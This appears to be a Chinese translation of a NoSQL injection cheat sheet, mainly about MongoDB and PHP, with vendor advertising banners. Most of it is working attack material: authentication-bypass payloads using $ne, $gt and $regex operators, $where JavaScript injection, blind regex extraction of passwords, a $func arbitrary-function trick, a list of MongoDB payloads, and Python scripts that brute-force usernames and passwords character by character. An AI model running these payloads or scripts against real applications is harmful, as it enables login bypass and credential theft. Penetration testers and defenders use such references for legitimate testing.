使用 Trickest 自动化工作流 ，由世界上 最先进 的社区工具提供支持。
今天就获取访问权限：
利用
在 PHP 中，你可以通过将发送的参数从 parameter=foo 更改为 parameter[arrName]=foo. 来发送一个数组。
这些利用是基于添加一个 运算符 ：
Copy username[$ne] = 1 $password [ $ne]=1 #<Not Equals>
username[$regex] = ^adm $password [ $ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex] = . { 25} & pass[$ne] = 1 #Use the <regex> to find the length of a value
username[$eq] = admin & password[$ne] = 1 #<Equals>
username[$ne] = admin & pass[$lt] = s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne] = admin & pass[$gt] = s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where : "this.credits == this.debits" }# < I F > , can be used to execute code 基本认证绕过
使用不等于 ($ne) 或大于 ($gt)
Copy #in URL
username[$ne] = toto & password[$ne] = toto
username[$regex] = .* & password[$regex] = .*
username[$exists] = true & password[$exists] = true
#in JSON
{ "username" : { "$ne" : null}, "password" : { "$ne" : null} }
{ "username" : { "$ne" : "foo" }, "password" : { "$ne" : "bar" } }
{ "username" : { "$gt" : undefined}, "password" : { "$gt" : undefined} } SQL - Mongo
Copy query = { $where : `this.username == ' ${ username } '` } 攻击者可以通过输入类似 admin' || 'a'=='a 的字符串来利用这一点，使查询返回所有文档，因为满足了一个恒真条件 ('a'=='a')。这类似于 SQL 注入攻击，其中使用像 ' or 1=1-- - 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，输入如 ' || 1==1//、' || 1==1%00 或 admin' || 'a'=='a。
Copy Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a 提取 length 信息
Copy username[$ne] = toto & password[$regex] = . { 1}
username[$ne] = toto & password[$regex] = . { 3}
# True if the length equals 1,3... 提取 数据 信息
Copy in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} SQL - Mongo
Copy /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found PHP 任意函数执行
使用 MongoLite 库的 $func 操作符（默认使用），可能会执行任意函数，如 此报告 中所述。
Copy "user" :{ "$func" : "var_dump" } 从不同集合获取信息
可以使用 $lookup users 不同集合 中读取，并获取 所有条目 的结果，这些条目的密码与通配符匹配。
注意： 只有在使用 aggregate() 函数进行搜索时，$lookup 和其他聚合函数才可用，而不是更常用的 find() 或 findOne() 函数。
Copy [
{
"$lookup" : {
"from" : "users" ,
"as" : "resultado" , "pipeline" : [
{
"$match" : {
"password" : {
"$regex" : "^.*"
}
}
}
]
}
}
]
使用 Trickest 自动化工作流 ，由世界上 最先进 的社区工具提供支持。
今天就获取访问权限：
MongoDB Payloads
列表 来自这里
Copy true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} 盲目 NoSQL 脚本
Copy import requests , string
alphabet = string . ascii_lowercase + string . ascii_uppercase + string . digits + "_@ {} -/()!\"$%=^[]:;"
flag = ""
for i in range ( 21 ):
print ( "[i] Looking for char number " + str (i + 1 ))
for char in alphabet :
r = requests . get ( "http://chall.com?param=^" + flag + char)
if ( "<TRUE>" in r . text) :
flag += char
print ( "[+] Flag: " + flag)
break
Copy import requests
import urllib3
import string
import urllib
urllib3 . disable_warnings ()
username = "admin"
password = ""
while True :
for c in string . printable :
if c not in [ '*' , '+' , '.' , '?' , '|' ] :
payload = '{"username": {"$eq": " %s "}, "password": {"$regex": "^ %s " }} ' % (username , password + c)
r = requests . post (u, data = { 'ids' : payload}, verify = False )
if 'OK' in r . text :
print ( "Found one more char : %s " % (password + c))
password += c 从POST登录进行暴力破解用户名和密码
这是一个简单的脚本，您可以对其进行修改，但之前的工具也可以完成此任务。
Copy import requests
import string
url = "http://example.com"
headers = { "Host" : "exmaple.com" }
cookies = { "PHPSESSID" : "s3gcsgtqre05bah2vt6tibq8lsdfk" }
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password ( username ):
print ( "Extracting password of " + username)
params = { "username" : username , "password[$regex]" : "" , "login" : "login" }
password = "^"
while True :
for c in possible_chars :
params [ "password[$regex]" ] = password + c + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
password += c
break
if c == possible_chars [ - 1 ]:
print ( "Found password " + password[ 1 :]. replace ( "\\" , "" ) + " for username " + username)
return password [ 1 :]. replace ( "\\" , "" )
def get_usernames ( prefix ):
usernames = []
params = { "username[$regex]" : "" , "password[$regex]" : ".*" }
for c in possible_chars :
username = "^" + prefix + c
params [ "username[$regex]" ] = username + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
print (username)
for user in get_usernames (prefix + c):
usernames . append (user)
return usernames
for u in get_usernames ( "" ):
get_password (u) Tools
References
使用 Trickest 自动化工作流程 ，由世界上 最先进 的社区工具提供支持。
今天就获取访问权限：
